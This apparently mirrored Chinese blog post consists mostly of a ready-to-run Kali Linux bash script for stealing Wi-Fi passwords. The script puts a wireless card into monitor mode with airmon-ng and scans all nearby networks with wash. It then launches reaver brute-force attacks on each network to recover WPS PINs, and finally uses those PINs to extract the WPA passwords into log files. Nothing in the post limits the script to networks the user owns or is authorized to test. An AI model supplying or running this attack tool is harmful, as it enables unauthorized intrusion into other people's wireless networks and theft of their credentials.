zoukankan      html  css  js  c++  java
  • kali-通过获取路由器pin码套取无线网络密码shell脚本

    直接上脚本吧, 我做个笔记。

    #*************************************************************************
    #         > File Name: wifi.sh
    #         > Author: chenglee
    #         > Main : chengkenlee@sina.com
    #         > Blog : http://www.cnblogs.com/chenglee/
    #         > Created Time : Tue 26 Mar 2019 09:30:16 PM CST
    #*************************************************************************
    #!/bin/bash
    
    wlanname=`ifconfig | grep wlan | awk -F ':' '{print$1}'`
    
    function Wwash(){
        echo "判断网卡是否以挂载..."
        if [ -z "${wlanname}" ];then
            echo "网卡没挂载, 请先手动挂载网卡"
            exit;
        else
            echo "网卡已挂载,判断是否已启动监听模式"
            #airmon-ng start ${wlanname}
            wlanname=`ifconfig | grep wlan | awk -F ':' '{print$1}'`
            string="mon"
            if [[ $wlanname =~ $string ]];then
                echo "监听模式正常, 开始扫描附近无线网络..."
                nohup wash -i ${wlanname} > logs/file 2>&1 &
            else
                echo "监听模式异常, 准备重启监听模式"
                airmon-ng stop ${wlanname}
                airmon-ng start ${wlanname}
                echo "检查网卡监听模式状态"
                if [[ $wlanname =~ $string ]];then
                    echo "监听模式正常, 开始扫描附近无线网络..."
                    nohup wash -i ${wlanname} > logs/file 2>&1 &
                else
                    echo "定点异常,请插拔网卡后继续运行此脚本"
                    exit;
                fi
            fi
        fi
    }
    function file(){
        sleep 5;
        num=`cat -n logs/file | grep BSSID | awk -F ' ' '{print$1}'`
        number=`expr ${num} + 2`
        nullnum=`sed -n ''"$number"',$p' logs/file | awk '/^$/{print NR}' | head -n 1`
        if [ "$nullnum" =  "" ];then
            sed -n ''"$number"',$p' logs/file | awk -F ' ' '{print$1,$2}' > logs/file1
            cat logs/file1 | awk -F ' ' '{print$1}' > logs/mac
            cat logs/file1 | awk -F ' ' '{print$2}' > logs/ch
        else
            sed -n ''"$number"',$p' logs/file | awk -F ' ' '{print$1,$2}' > logs/file1
            nullnu=`expr ${nullnum} - 1`
            sed -n '1,'"$nullnu"'p' logs/file1 > logs/file2
            cat logs/file2 | awk -F ' ' '{print$1}' > logs/mac
            cat logs/file2 | awk -F ' ' '{print$2}' > logs/ch
        fi
    }
    function Rreaver(){
        wlanname=`ifconfig | grep wlan | awk -F ':' '{print$1}'`
        exec 3<"logs/mac"
        exec 4<"logs/ch"
        while read line1<&3 && read line2<&4
        do
            echo "后台分析物理地址为:${line1},信道为:${line2}的无线网络数据, 请稍后..."
            nohup reaver -i ${wlanname} -b ${line1} -c ${line2} -vv -K 0 >> logs/${line1}.logs 2>&1 &
        done
    }
    function analyse_PIN(){
        lsatstring="logs"
        exec 5<"logs/mac"
        while read line3<&5
        do
            WPA_PIN=`cat logs/${line3}.${lsatstring} | grep WPA`
            if [ "$WPA_PIN" =  "" ];then
                echo "${line3}-PIN码获取不到, 继续判断..."
            else
                echo "${line3}-PIN码获取成功!!PIN码:${WPA_PIN}"
                echo "${line3}" >> logs/pin_mac 2>&1 &
                echo "${WPA_PIN}" | awk -F ':' '{print$NF}' | sed 's/ //g' >> logs/pin_pin 2>&1 &
            fi
        done
    }
    function Ppin(){
        wlanname=`ifconfig | grep wlan | awk -F ':' '{print$1}'`
        exec 6<"logs/pin_mac"
        exec 7<"logs/pin_pin"
        while read line4<&6 && read line5<&7
        do
            echo "开始通过(路由器):${line4},pin码:${line5},套取密码..."
            nohup reaver -i ${wlanname} -b ${line4} -p ${line5} >> logs/${line5}.logs 2>&1 &
        done
    }
    function pass(){
        lsatstring="logs"
        exec 8<"logs/pin_pin"
        while read line6<&8
        do
            PassWord=`cat logs/${line6}.${lsatstring} | grep PSK`
            if [ "$PassWord" =  "" ];then
                echo "PIN码为:${line6},密码获取失败, 继续获取..."
            else
                echo "PIN码为:${line6},密码获取成功,请前行 logs/${line6}.${lsatstring}文件查看相关 SSID,PASS等信息"
            fi
        done
    }
    function logs(){
        if [ -d "logs" ];then
            echo ""
            Wwash
            sleep 10;
            file
        else
            echo ""
            mkdir logs
            Wwash
            sleep 10;
            file
        fi
    }
    function main(){
        #logs
        #file
    ###############多重循环暴力区###############    
        #Rreaver
        #analyse_PIN
        #Ppin
        #pass
    ###############多重循环暴力区###############
    }
    main
    

      

  • 相关阅读:
    【剑指offer】数组中重复的数字
    【剑指offer】数组中只出现一次的数字
    【linux】进程存储管理
    【linux】gdb调试
    【C/C++】快速排序的两种实现思路
    【C/C++】知识点
    【计算机网络】知识点记录
    【hadoop】mapreduce原理总结
    基于社交网络的情绪化分析IV
    Android studio 升级,不用下载完整版,完美更新到2.0
  • 原文地址:https://www.cnblogs.com/chenglee/p/10601642.html
Copyright © 2011-2022 走看看